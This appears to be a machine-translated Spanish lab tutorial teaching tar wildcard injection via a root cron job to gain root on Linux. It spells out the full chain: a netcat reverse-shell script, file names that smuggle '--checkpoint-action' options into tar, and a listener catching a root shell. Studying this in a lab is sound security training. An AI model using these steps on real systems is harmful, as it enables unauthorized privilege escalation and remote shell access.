Realizar Inyección de Comodines en Nmap para Escalar Privilegios

Beginner

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

En este laboratorio, aprenderemos sobre la inyección de comodines (wildcard injection), una técnica utilizada para la escalada de privilegios en sistemas Linux. En concreto, exploraremos el principio de la inyección de comodines en el comando tar, ampliamente utilizado, y realizaremos un ejercicio práctico para obtener privilegios de superusuario (root) aprovechando esta vulnerabilidad en combinación con la utilidad crontab.


Skills Graph

Comprender los comodines (Wildcards)

Primero, entendamos qué son los comodines y cómo funcionan en la shell de Linux. Los comodines son caracteres especiales o secuencias de caracteres que se pueden utilizar para representar o coincidir con un conjunto de nombres de archivos o rutas.

Aquí hay algunos comodines comunes:

  • * (asterisco) coincide con cualquier número de caracteres (incluyendo cero caracteres) en un nombre de archivo o ruta.
  • ? (signo de interrogación) coincide con cualquier carácter individual.
  • [] (corchetes cuadrados) coinciden con cualquier carácter individual dentro del conjunto de caracteres especificado entre los corchetes.
  • ~ (tilde) representa el directorio de inicio del usuario actual o de otro usuario si va seguido de un nombre de usuario.

En el contexto de la escalada de privilegios, los comodines * y - se utilizan comúnmente. Exploremos primero cómo la shell interpreta el carácter -.

  1. Abra una terminal y navegue hasta el directorio /home/labex/project:

    cd /home/labex/project
  2. Hay un archivo llamado --help en el directorio actual. Intente pensar y experimentar cómo puede ver el contenido de este archivo.

    Si utiliza el comando cat --help, obtendrá el mensaje de ayuda del comando cat en lugar de ver el contenido del archivo --help.

    Del mismo modo, si utiliza vim --help, verá un mensaje de ayuda para el comando vim.

    Esto se debe a que la shell de Linux interpreta - como un argumento de comando.

  3. Para ver el contenido del archivo --help, debe evitar que el nombre del archivo comience con -. Puede utilizar:

    cat /home/labex/project/--help

    De este modo, la shell no interpretará --help como un argumento y podrá ver el contenido del archivo.

  4. Ahora, cambiemos el contenido del archivo --help con el editor de su elección. Por ejemplo, puede utilizar nano:

    nano /home/labex/project/--help

    Borre el contenido existente y agregue el siguiente texto al archivo:

    I can read the file

    Guarde y salga de nano.

Este comportamiento de la shell es precisamente lo que explota la inyección de comodines (wildcard injection).

La inyección de comodines a menudo se combina con trabajos cron (cron jobs), así que exploremos un ejemplo del mundo real que involucra el comando tar.

Inyección de comodines (Wildcard Injection) en tar con crontab

Para entender cómo la inyección de comodines puede llevar a la escalada de privilegios, realizaremos un ejercicio práctico que involucra el comando tar y crontab.

  1. Primero, inicialicemos el entorno del laboratorio ejecutando el siguiente comando:

    Navegue hasta el directorio /home/labex/project:

    cd /home/labex/project

    Ejecute el script de configuración para inicializar el entorno del laboratorio:

    ./env_setup.sh

    Después de la inicialización, se cambiará al usuario user001 (simulando a un atacante que ha obtenido acceso inicial a la shell).

  2. Luego, revise la tabla de tareas programadas de crontab:

    cat /etc/crontab

    Salida esperada:

    * * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *

    Debería ver una tarea programada para ejecutarse cada minuto, que archiva el contenido del directorio /var/www/html/ en un archivo comprimido /var/backups/html.tgz.

  3. A continuación, eche un vistazo a los archivos dentro del directorio /var/www/html:

    ls /var/www/html

    Para explotar la vulnerabilidad de inyección de comodines, necesitamos crear los siguientes tres archivos en el directorio /var/www/html/.

    Primero, navegue hasta el directorio /var/www/html:

    cd /var/www/html/
    • shell.sh con el contenido para ejecutar una shell inversa (reverse shell):

      echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh
    • Un archivo llamado --checkpoint-action=exec=sh shell.sh (tenga en cuenta los espacios en el nombre del archivo):

      echo "" > "--checkpoint-action=exec=sh shell.sh"
    • Un archivo llamado --checkpoint=1:

      echo "" > --checkpoint=1

    Después de crear estos archivos, el directorio /var/www/html/ debería verse así:

    '--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.sh
  4. Cuando la tarea programada de cron ejecute el siguiente comando:

    tar -zcf /var/backups/html.tgz /var/www/html/*

    Se interpretará como:

    tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html

    Aquí está lo que significan los parámetros:

    • --checkpoint y --checkpoint-action se utilizan típicamente juntos. El primero establece un punto de control, y el segundo especifica la acción a realizar cuando se alcanza el punto de control.
    • --checkpoint-action=exec=sh shell.sh significa que cuando se alcanza el punto de control, se ejecutará el script shell.sh.

    Entonces, cada vez que se ejecute la tarea programada de cron, se ejecutará el script shell.sh, que establecerá una shell inversa (reverse shell) de /bin/bash al puerto local 4444.

  5. Configure un listener en el puerto local 4444 en la shell actual:

    nc -lnvp 4444

    Después de esperar un momento, cuando se ejecute la tarea programada de cron, deberíamos recibir la shell inversa con privilegios de superusuario (root):

    Salida esperada:

    Listening on 0.0.0.0 4444
    Connection received on 127.0.0.1 56226

    Intente crear un archivo success.txt en el directorio /root para confirmar que tiene privilegios de superusuario:

    touch /root/success.txt

    Si puede crear el archivo sin errores de permisos, ha escalado sus privilegios con éxito utilizando la inyección de comodines.

Hay dos limitaciones importantes para esta técnica de escalada de privilegios con tar y crontab:

  1. El directorio html debe tener permisos de escritura (w) para "otros" usuarios, para que podamos crear el archivo shell.sh y otros archivos en ese directorio.

  2. El comando tar en la tabla de crontab no debe incluir una ruta absoluta. Por ejemplo, si la entrada de crontab se ve así:

    * * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*

    La inyección de comodines fallará porque la shell interpretará el comando como:

    tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html

    En este caso, /var/www/html/--checkpoint=1 y /var/www/html/--checkpoint-action=exec=sh shell.sh no se interpretarán como argumentos del comando tar, y la inyección fallará.

Resumen

En este laboratorio, aprendimos sobre la inyección de comodines (wildcard injection), una técnica utilizada para la escalada de privilegios en sistemas Linux. Exploramos el principio de la inyección de comodines en el comando tar, ampliamente utilizado, y realizamos un ejercicio práctico para obtener privilegios de superusuario (root) aprovechando esta vulnerabilidad en combinación con la utilidad crontab. A través de este laboratorio, adquirimos experiencia práctica en la comprensión y explotación de una vulnerabilidad real de escalada de privilegios, que es una habilidad esencial para cualquier profesional de seguridad o administrador de sistemas.